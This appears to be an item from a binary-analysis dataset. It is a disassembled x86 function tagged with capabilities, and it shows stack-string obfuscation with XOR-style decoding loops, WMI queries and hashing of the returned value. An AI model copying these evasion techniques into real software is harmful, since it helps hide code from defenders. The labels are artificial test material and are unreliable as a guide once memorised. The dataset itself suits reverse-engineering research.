Function at 0x434a60
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov ebx, dword [ebp + 8]
mov eax, dword [0x446180]
mov dword [esp + 4], 0x6758608f
mov dword [esp + 8], 0x673e6735
mov dword [esp + 0xc], 0x674a673a
mov dword [esp + 0x10], 0x679567bd
mov dword [esp + 0x14], 0x67ba67c0
mov dword [esp + 0x18], 0x67b067c2
mov dword [esp + 0x1c], 0x60576073
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
and edx, 8
mov esi, ecx
and esi, 2
mov edi, esi
xor edi, 2
imul edi, edx
or edx, 2
imul edx, esi
mov esi, ecx
xor esi, 0xbb7a
add esi, edi
add esi, edx
xor si, word [esp + ecx*2 + 4]
add esi, 0x2430
mov word [esp + ecx*2 + 4], si
inc ecx
cmp ecx, 0xe
jne 0x434ac0
lea ecx, [esp + 0x4c]
lea edi, [esp + 0x7c]
lea esi, [esp + 4]
push ecx
push 8
push edi
push 0xd
push esi
push 0
call eax
test eax, eax
jns 0x434b1d
mov dword [esp + 0x7c], 0x3a0043
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0x58], 0x70066733
mov dword [esp + 0x54], 0x890396d9
mov dword [esp + 0x50], 0x51a0c930
mov dword [esp + 0x4c], 0xa1bbca7e
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push 0x43d678
push 1
push 0
push 0x43d688
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x434f67
mov dword [esp + 4], 0xba6bba61
mov dword [esp + 8], 0xba62ba6a
mov dword [esp + 0xc], 0xba4bba7b
mov dword [esp + 0x10], 0xba77ba70
mov dword [esp + 0x14], 0xba5eba7d
mov word [esp + 0x18], 0xba8d
mov eax, 0xd20d5ccb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, word [esp + eax*2 + 0x5be5466e]
xor ecx, eax
mov edx, ecx
or edx, 0x19a6
and ecx, 0x19a6
add ecx, edx
add ecx, 2
mov word [esp + eax*2 + 0x5be5466e], cx
inc eax
cmp eax, 0xd20d5cd6
jne 0x434bb0
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x434f52
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x434f48
mov dword [esp + 4], 0x761d761c
mov dword [esp + 8], 0x766e7611
mov eax, 0xb9f3
nop
movzx edx, word [esp + eax*2 - 0x173e2]
lea ecx, [eax - 0x42700000]
or ecx, edx
and edx, eax
sub ecx, edx
mov edx, ecx
and edx, 0x3067
add edx, edx
xor ecx, 0xcf98
sub edx, ecx
mov word [esp + eax*2 - 0x173e2], dx
inc eax
cmp eax, 0xb9f7
jne 0x434c40
lea edi, [esp + 4]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp], eax
mov dword [esp + 4], 0x75fb75ee
mov dword [esp + 8], 0x75f575e3
mov dword [esp + 0xc], 0x75e675f2
mov dword [esp + 0x10], 0x75ce75d3
mov dword [esp + 0x14], 0x75f075d5
mov dword [esp + 0x18], 0x75d775e5
mov dword [esp + 0x1c], 0x75ea75d4
mov dword [esp + 0x20], 0x743575dc
mov dword [esp + 0x24], 0x75fd7433
mov dword [esp + 0x28], 0x742f75fd
mov dword [esp + 0x2c], 0x75db75c3
mov dword [esp + 0x30], 0x75d775dc
mov word [esp + 0x34], 0x7585
mov eax, 0xf2b62ea
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, word [ecx]
lea edx, [eax - 0xf2b0000]
mov ebx, edi
not ebx
or ebx, edx
mov edx, eax
or edx, edi
add edi, ebx
inc edi
not edx
or edx, edi
mov edi, edx
xor edi, 0x86a4e8a8
mov ebx, edx
or ebx, 0x1757
and ebx, edi
or edx, 0x795b1757
and edi, edx
xor edx, ebx
lea edx, [edx + edi*2]
inc edx
mov word [ecx], dx
add ecx, 2
dec eax
cmp eax, 0xf2b62d1
jne 0x434d00
lea ebx, [esp + 4]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esp + 0x44]
mov ecx, dword [edi]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x4c], eax
push eax
push dword [esp + 0x10]
push edi
call dword [ecx + 0x50]
test eax, eax
js 0x434f30
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea edi, [esp + 0x60]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434f26
cmp eax, 1
je 0x434f26
cmp dword [esp + 0x5c], 0
je 0x434f26
lea edi, [esp + 0x68]
push edi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 4], 0x5b935be6
mov dword [esp + 8], 0x5bb15b85
mov dword [esp + 0xc], 0x5bb65ba8
mov dword [esp + 0x10], 0x5bb95bd5
mov dword [esp + 0x14], 0x5bac5bb0
mov dword [esp + 0x18], 0x5bb25baa
mov word [esp + 0x1c], 0x5a01
xor ecx, ecx
nop
nop
nop
nop
nop
lea edx, [ecx - 0x4323]
xor dx, word [esp + ecx*2 + 4]
add edx, 0x1918
mov word [esp + ecx*2 + 4], dx
mov edx, ecx
xor edx, 0xfffffffe
or ecx, 1
and edx, ecx
add ecx, edx
cmp ecx, 0xd
jb 0x434e00
mov ecx, dword [eax]
push 0
push 0
push edi
push 0
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434f15
cmp word [esp + 0x68], 8
jne 0x434f15
mov eax, dword [esp + 0x70]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x3c], eax
je 0x434e95
add eax, 2
xor ebx, ebx
jmp 0x434e6c
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x434e97
cmp cx, 0x7f
jbe 0x434e60
movzx edx, cx
cmp edx, 0x7ff
ja 0x434e8a
mov ecx, ebx
and ecx, 2
xor ebx, 2
lea ebx, [ebx + ecx*2]
jmp 0x434e61
cmp cx, 0xffff
je 0x434e61
add ebx, 3
jmp 0x434e61
xor ebx, ebx
lea eax, [ebx + 1]
mov dword [esp + 0x38], eax
push eax
call fcn.00408130
add esp, 4
mov edi, eax
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push eax
call fcn.00408fe0
add esp, 0xc
mov eax, dword [edi]
mov dword [esp + 0x4c], eax
mov eax, ebx
xor eax, 4
and ebx, 0xfffffffb
add ebx, ebx
sub ebx, eax
cmp ebx, 4
jb 0x434f08
mov eax, dword [edi + 4]
mov dword [esp + 0x50], eax
mov eax, ebx
xor eax, 4
and ebx, 0xfffffffb
add ebx, ebx
sub ebx, eax
cmp ebx, 4
jb 0x434f08
mov eax, dword [edi + 8]
mov dword [esp + 0x54], eax
mov eax, ebx
xor eax, 4
and ebx, 0xfffffffb
add ebx, ebx
sub ebx, eax
cmp ebx, 4
jb 0x434f08
mov eax, dword [edi + 0xc]
mov dword [esp + 0x58], eax
push edi
call fcn.00408140
add esp, 4
lea edi, [esp + 0x68]
push edi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp]
call edi
push dword [esp + 0x40]
call edi
mov ebx, dword [ebp + 8]
lea edi, [esp + 0x7c]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea esi, [esp + 4]
push 0xb65c016e
push dword [0x445178]
call fcn.0043a3b0
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push edi
call eax
test eax, eax
je 0x434f96
mov eax, dword [esp + 4]
mov dword [esp + 0x4c], eax
xor esi, esi
jmp 0x434fad
add ebx, 8
inc esi
cmp esi, 4
je 0x4350f7
mov dword [esp], ebx
mov eax, 0
test esi, esi
je 0x434fd0
cmp dword [esp + esi*4 + 0x4c], 0
mov eax, esi
jne 0x434fd0
mov ecx, esi
not ecx
and ecx, 1
mov eax, esi
and eax, 2
sub eax, ecx
mov dword [esp + 0x40], esi
mov eax, dword [esp + eax*4 + 0x4c]
mov dword [esp + 0x68], 0xb06b1835
xor ecx, ecx
mov bl, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [esp + ecx*2 + 0x68]
mov edi, ecx
or edi, 0x3a34cff0
xor edi, edx
mov edx, edi
and edx, 0x7f
xor edi, 0x807f
lea edx, [edi + edx*2]
inc edx
mov word [esp + ecx*2 + 0x68], dx
mov ecx, 1
xor edx, edx
test bl, 1
mov ebx, 0
jne 0x434ff0
mov ecx, dword [esp + 0x68]
mov esi, ecx
not esi
mov dword [esp + 0x38], esi
mov ebx, eax
not ebx
and ebx, ecx
mov edi, ecx
and edi, eax
mov dword [esp + 0x3c], eax
or ecx, eax
imul ecx, edi
mov dword [esp + 4], 0x9b7b3ab7
mov dword [esp + 8], 0xb0a7b0a6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, word [esp + edx*2 + 4]
mov esi, 0xeb7b
sub esi, edx
mov eax, edx
or eax, edi
or eax, 0x1484
not edi
or edi, esi
and edi, eax
add edi, 0x5be0
mov word [esp + edx*2 + 4], di
lea eax, [edx + edx]
and eax, 2
xor edx, 1
add edx, eax
cmp edx, 4
jb 0x435060
mov eax, dword [esp + 0x3c]
and eax, dword [esp + 0x38]
imul ebx, eax
add ecx, ebx
add ecx, dword [esp + 4]
mov esi, dword [esp + 0x40]
mov dword [esp + esi*4 + 0x4c], ecx
mov edi, 0xfffffff7
push 0x10
push 9
mov ebx, dword [esp + 8]
push ebx
push ecx
call fcn.0041cd00
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + edi + 9], 0
lea edi, [edi + 1]
jne 0x4350d0
test edi, edi
je 0x434fa0
add eax, edi
neg edi
push edi
push 0x30
push eax
call fcn.00408240
add esp, 0xc
jmp 0x434fa0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret